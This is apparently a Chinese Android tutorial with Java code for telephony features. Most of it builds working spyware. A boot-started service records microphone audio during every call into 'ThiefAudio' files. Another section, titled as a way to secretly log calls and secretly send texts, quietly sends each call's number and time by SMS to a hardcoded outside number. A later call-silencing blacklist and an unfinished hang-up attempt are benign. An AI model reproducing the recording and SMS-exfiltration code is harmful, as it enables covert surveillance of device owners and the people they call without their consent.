1.实现来电监听
电话监听的操作类
1、创建一个Server类PhoneServer
public class PhoneServer extends Service {
private TelephonyManager telephone=null;
@Override
public void onCreate() {
//创建telephoneManager对象
telephone= (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
//设置telephone监听
telephone.listen(new PhoneStateListenerImpl(),PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
private class PhoneStateListenerImpl extends PhoneStateListener {
@Override
public void onCallStateChanged(int state, String phoneNumber) {
switch (state){
case TelephonyManager.CALL_STATE_IDLE://挂断电话
break;
case TelephonyManager.CALL_STATE_RINGING://电话响铃
Log.d("jian", "拨入电话号码: "+phoneNumber+",拨入时间:"+new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()));
break;
case TelephonyManager.CALL_STATE_OFFHOOK://接听电话
break;
}
}
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
2、创建一个广播类PhoneBroadcast,通过广播类启动PhonServer的服务
public class PhoneBroadcaset extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
context.startService(new Intent(context,PhoneServer.class));
}
}
3、Manifest中配置服务及广播
手机启动或者电话状态发生改变时就启动广播
完整配置文件为
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.fengray.myex031listentelephone">
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".PhoneServer"/>
<receiver android:name=".PhoneBroadcaset">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.PHONE_STATE"/>
</intent-filter>
</receiver>
</application>
</manifest>
5、主activity动态申请权限
public class MainActivity extends AppCompatActivity {
private String permission[]=new String[]{Manifest.permission.READ_PHONE_STATE};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//动态请求各种权限
ActivityCompat.requestPermissions(this,permission, 0);
}
}
结果为:
D/jian: 拨入电话号码: ,拨入时间:2020-03-25 22:40:32
2.实现去电监听
去电监听依靠广播来实现,一个是来电的广播,一个是去电的广播进行判断。
1、增加Manifest的action戒uses-permission
及
完整的Manifest为:
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.fengray.myex031listentelephone">
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".PhoneServer"/>
<receiver android:name=".PhoneBroadcaset">
<intent-filter>
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.PHONE_STATE"/>
</intent-filter>
</receiver>
</application>
</manifest>
2、PhoneServer类继承Service
public class PhoneServer extends Service {
private TelephonyManager telephone=null;
private String outgoingNumber=null;
@Override
public void onCreate() {
//创建telephoneManager对象
telephone= (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
//设置telephone监听
telephone.listen(new PhoneStateListenerImpl(),PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
private class PhoneStateListenerImpl extends PhoneStateListener {
@Override
public void onCallStateChanged(int state, String phoneNumber) {
switch (state){
case TelephonyManager.CALL_STATE_IDLE://挂断电话
break;
case TelephonyManager.CALL_STATE_RINGING://电话响铃
Log.d("jian", "拨入电话号码: "+phoneNumber+",拨入时间:"+new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()));
break;
case TelephonyManager.CALL_STATE_OFFHOOK://接听电话
Log.d("jian", "拨出电话号码: "+PhoneServer.this.outgoingNumber+",拨出时间:"+new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()));
break;
}
}
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
//复写该方法,获得intent传来的数据(电话号码)
@Override
public void onStart(Intent intent, int startId) {
outgoingNumber=intent.getStringExtra("outgoingNumber");//接受intent的内容
super.onStart(intent, startId);
}
}
3、创建PhoneBroadCast类继承Broadcast
public class PhoneBroadcaset extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())){//去电
String outgoingNumber=intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);//拿到电话号码(去电)
Intent pit=new Intent(context,PhoneServer.class);//打开服务
pit.putExtra("outgoingNumber",outgoingNumber);
context.startService(pit);//启动activity
}else{//来电
context.startService(new Intent(context,PhoneServer.class));
}
}
}
4、主activity
public class MainActivity extends AppCompatActivity {
private String permission[]=new String[]{Manifest.permission.READ_PHONE_STATE,Manifest.permission.PROCESS_OUTGOING_CALLS};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//动态请求各种权限
ActivityCompat.requestPermissions(this,permission, 0);
ActivityCompat.requestPermissions(this,permission, 1);
}
}
结果为:
拨出电话号码: 13816984258,拨出时间:2020-03-25 22:49:53
其实程序时灵时不灵
3.电话窃听器MediaRecord类
1、创建音频录制的工具类
public class RecordAudioUtil {
private MediaRecorder mediaRecorder=null;
private String recDir="recAudio";
private File recordAudioSaveFileDir=null;
private boolean sdcardExits=false;
private boolean isRecord=false;
private String phoneNumber=null;
private String callType=null;
public RecordAudioUtil(String phoneNumber,String callType){
this.phoneNumber=phoneNumber;
this.callType=callType;
if (sdcardExits= Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)){
recordAudioSaveFileDir=new File(Environment.getExternalStorageDirectory().toString()+File.separator+
recDir+File.separator);
if (!recordAudioSaveFileDir.exists()){
recordAudioSaveFileDir.mkdirs();
}
}
}
public File record(){
File recordAudioSaveFile=null;
String recordAudioSaveFileName=null;
if (sdcardExits){
recordAudioSaveFileName=recordAudioSaveFileDir.toString()+"ThiefAudio"+new SimpleDateFormat("yyyyMMddhhmmssSSS")
.format(new Date())+callType+"_"+phoneNumber+".3gp";
recordAudioSaveFile=new File(recordAudioSaveFileName);
mediaRecorder=new MediaRecorder();
mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
mediaRecorder.setOutputFile(recordAudioSaveFileName);
try {
mediaRecorder.prepare();
} catch (IOException e) {
e.printStackTrace();
}
mediaRecorder.start();
Log.d("jian", "record:*************** ");
isRecord=true;
}
return recordAudioSaveFile;
}
public void stop(){
if (isRecord){
mediaRecorder.stop();
mediaRecorder.release();
}
}
}
2、在Manifest中配置permission权限
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.fengray.myex031listentelephone">
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".PhoneServer"/>
<receiver android:name=".PhoneBroadcaset">
<intent-filter>
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.PHONE_STATE"/>
</intent-filter>
</receiver>
</application>
</manifest>
3、修改PhoneService类
public class PhoneServer extends Service {
private TelephonyManager telephone=null;
private String outgoingNumber=null;
private RecordAudioUtil recordAudioUtil=null;
@Override
public void onCreate() {
//创建telephoneManager对象
telephone= (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
//设置telephone监听
telephone.listen(new PhoneStateListenerImpl(),PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
//复写该方法,获得intent传来的数据(电话号码)
@Override
public void onStart(Intent intent, int startId) {
outgoingNumber=intent.getStringExtra("outgoingNumber");//接受intent的内容
super.onStart(intent, startId);
}
private class PhoneStateListenerImpl extends PhoneStateListener {
@Override
public void onCallStateChanged(int state, String phoneNumber) {
switch (state){
case TelephonyManager.CALL_STATE_IDLE://挂断电话
if (recordAudioUtil!=null){
recordAudioUtil.stop();
recordAudioUtil=null;
}
break;
case TelephonyManager.CALL_STATE_RINGING://电话响铃
recordAudioUtil=new RecordAudioUtil(phoneNumber,"拨入电话");
recordAudioUtil.record();//录制
Log.d("jian", "拨入电话号码: "+phoneNumber+",拨入时间:"+new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()));
break;
case TelephonyManager.CALL_STATE_OFFHOOK://接听电话
recordAudioUtil=new RecordAudioUtil(outgoingNumber,"拨出电话");
recordAudioUtil.record();//录制
Log.d("jian", "拨出电话号码: "+PhoneServer.this.outgoingNumber+",拨出时间:"+new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date()));
break;
}
}
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
4、PhoneBroadcast广播类
public class PhoneBroadcaset extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
if (Intent.ACTION_NEW_OUTGOING_CALL.equals(intent.getAction())){//去电
String outgoingNumber=intent.getStringExtra(Intent.EXTRA_PHONE_NUMBER);//拿到电话号码(去电)
Intent pit=new Intent(context,PhoneServer.class);//打开服务
pit.putExtra("outgoingNumber",outgoingNumber);
context.startService(pit);//启动activity
}else{//来电
context.startService(new Intent(context,PhoneServer.class));
}
}
}
5、主activity类
public class MainActivity extends AppCompatActivity {
private String permission[]=new String[]{Manifest.permission.READ_PHONE_STATE,Manifest.permission.PROCESS_OUTGOING_CALLS,
Manifest.permission.RECORD_AUDIO,Manifest.permission.MODIFY_AUDIO_SETTINGS,Manifest.permission.WRITE_EXTERNAL_STORAGE};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//动态请求各种权限
for (int i = 0; i <permission.length;i++) {
ActivityCompat.requestPermissions(this,permission, i);
}
}
}
结果:
可以窃听并录音,文件存放在:
4.偷偷记录来电情况,偷偷发短信
使用SmsManager的工具类发送短信
1、创建发送信息的工具类:MessageSendUtil
public class MessageSendUtil {
private Context context=null;
private Intent intent=null;
public MessageSendUtil(Context context, Intent intent) {
this.context = context;
this.intent = intent;
}
//发送短信
/*
@param receiveNumber 短信接收人得电话号码
@param phoneNumber 保留来电或去电的电话号码
@param type 电话的呼叫类型
*/
public void send(String receiveNumber,String phoneNumber,String type){
SmsManager smsManager=SmsManager.getDefault();
PendingIntent sentIntent=PendingIntent.getActivity(this.context,0,this.intent,PendingIntent.FLAG_UPDATE_CURRENT);
String content="电话号码"+phoneNumber+"\n类型:"+type+"操作时间"+new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS").format(new Date());
smsManager.sendTextMessage(receiveNumber,null,content,sentIntent,null);
}
}
2、添加Manifest权限
及在activity里动态添加响应的权限
3、修改PhoneServer类
public class PhoneServer extends Service {
private TelephonyManager telephone=null;
private String outgoingNumber=null;
private RecordAudioUtil recordAudioUtil=null;
private Intent intent = null;
@Override
public void onCreate() {
//创建telephoneManager对象
telephone= (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
//设置telephone监听
telephone.listen(new PhoneStateListenerImpl(),PhoneStateListener.LISTEN_CALL_STATE);
super.onCreate();
}
//复写该方法,获得intent传来的数据(电话号码)
@Override
public void onStart(Intent intent, int startId) {
outgoingNumber=intent.getStringExtra("outgoingNumber");//接受intent的内容
this.intent=intent;
super.onStart(intent, startId);
}
private class PhoneStateListenerImpl extends PhoneStateListener {
@Override
public void onCallStateChanged(int state, String phoneNumber) {
switch (state){
case TelephonyManager.CALL_STATE_IDLE://挂断电话
if (recordAudioUtil!=null){
recordAudioUtil.stop();
recordAudioUtil=null;
}
break;
case TelephonyManager.CALL_STATE_RINGING://电话响铃
new MessageSendUtil(PhoneServer.this,PhoneServer.this.intent).send("13812457456",phoneNumber,"拨入");
break;
case TelephonyManager.CALL_STATE_OFFHOOK://接听电话
new MessageSendUtil(PhoneServer.this,PhoneServer.this.intent).send("13812457456",PhoneServer.this.outgoingNumber,"呼出");
break;
}
}
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
return null;
}
}
5.来电静音,使用AudioManager实现手机黑名单
1、创建一个Iservice接口
public interface Iservice {
}
2、创建PhoneService
public class PhoneServer extends Service {
private TelephonyManager telephone=null;
private AudioManager audioManager=null;//声音服务
private String phoneNumber=null;
private IBinder myBinder=new BinderImpl();
public class BinderImpl extends Binder implements Iservice{
@Nullable
@Override
public String getInterfaceDescriptor() {
return "过滤电话"+PhoneServer.this.phoneNumber+"设置成功";
}
}
@Nullable
@Override
public IBinder onBind(Intent intent) {
this.phoneNumber=intent.getStringExtra("phoneNumber");//取得电话号码
audioManager= (AudioManager) super.getSystemService(Context.AUDIO_SERVICE);
//创建telephoneManager对象
telephone= (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
//设置telephone监听
telephone.listen(new PhoneStateListenerImpl(),PhoneStateListener.LISTEN_CALL_STATE);
return this.myBinder;
}
private class PhoneStateListenerImpl extends PhoneStateListener {
@Override
public void onCallStateChanged(int state, String phoneNumber) {
switch (state){
case TelephonyManager.CALL_STATE_IDLE://挂断电话
PhoneServer.this.audioManager.setRingerMode(AudioManager.RINGER_MODE_NORMAL);//恢复正常响铃模式
break;
case TelephonyManager.CALL_STATE_RINGING://电话响铃
if (phoneNumber.equals(PhoneServer.this.phoneNumber)){
PhoneServer.this.audioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);//恢复正常响铃模式
}
break;
case TelephonyManager.CALL_STATE_OFFHOOK://接听电话
break;
}
}
}
}
3、添加访问权限
添加这两项权限,其中第二项是安卓6以后的要求
完整Manifest文件如下:(本例包含上面几例的权限)
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.fengray.myex031listentelephone">
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/AppTheme">
<activity android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service android:name=".PhoneServer"/>
<receiver android:name=".PhoneBroadcaset">
<intent-filter>
<action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.PHONE_STATE"/>
</intent-filter>
</receiver>
</application>
</manifest>
4、布局文件
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="match_parent"
android:layout_height="match_parent">
<EditText
android:id="@+id/phoneNumber"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="13812345678" />
<Button
android:id="@+id/setNumber"
android:text="过滤"
android:layout_width="match_parent"
android:layout_height="wrap_content"/>
<Button
android:id="@+id/cancelnumber"
android:text="取消"
android:layout_width="match_parent"
android:layout_height="wrap_content"/>
</LinearLayout>
5、主activity文件
public class MainActivity extends AppCompatActivity {
private EditText phoneNumber=null;
private Button setNumber,cancelNumber;
private Iservice service=null;
private ServiceConnectionImpl serviceConnection=new ServiceConnectionImpl();
private String permission[]=new String[]{Manifest.permission.READ_PHONE_STATE,Manifest.permission.PROCESS_OUTGOING_CALLS,
Manifest.permission.RECORD_AUDIO,Manifest.permission.MODIFY_AUDIO_SETTINGS,Manifest.permission.WRITE_EXTERNAL_STORAGE,
Manifest.permission.SEND_SMS,Manifest.permission.ACCESS_NOTIFICATION_POLICY};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//动态请求各种权限
for (int i = 0; i <permission.length;i++) {
ActivityCompat.requestPermissions(this,permission, i);
}
//控件初始化
phoneNumber=findViewById(R.id.phoneNumber);
setNumber=findViewById(R.id.setNumber);
cancelNumber=findViewById(R.id.cancelnumber);
setNumber.setOnClickListener(new SetNuOnClickListenerImpl());
cancelNumber.setOnClickListener(new CancelNuOnClickListenerImpl());
}
private class SetNuOnClickListenerImpl implements View.OnClickListener{
@Override
public void onClick(View v) {
Intent intent=new Intent(MainActivity.this,PhoneServer.class);
intent.putExtra("phoneNumber",phoneNumber.getText().toString());
bindService(intent,serviceConnection, Context.BIND_AUTO_CREATE);
}
}
private class CancelNuOnClickListenerImpl implements View.OnClickListener{
@Override
public void onClick(View v) {
if (service!=null){
unbindService(serviceConnection);
stopService(new Intent(MainActivity.this,PhoneServer.class));
Toast.makeText(MainActivity.this, "黑名单已取消", Toast.LENGTH_SHORT).show();
service=null;
}
}
}
//服务连接的实现类
private class ServiceConnectionImpl implements ServiceConnection{
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
MainActivity.this.service= (PhoneServer.BinderImpl) service;
try {
Toast.makeText(MainActivity.this, service.getInterfaceDescriptor(), Toast.LENGTH_SHORT).show();
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
public void onServiceDisconnected(ComponentName name) {
}
}
}
结果:屏蔽来电
6.使用AIDL挂断电话
定义一个AIDL描述文件ITelephone.aidl文件
弄不出来,暂时放弃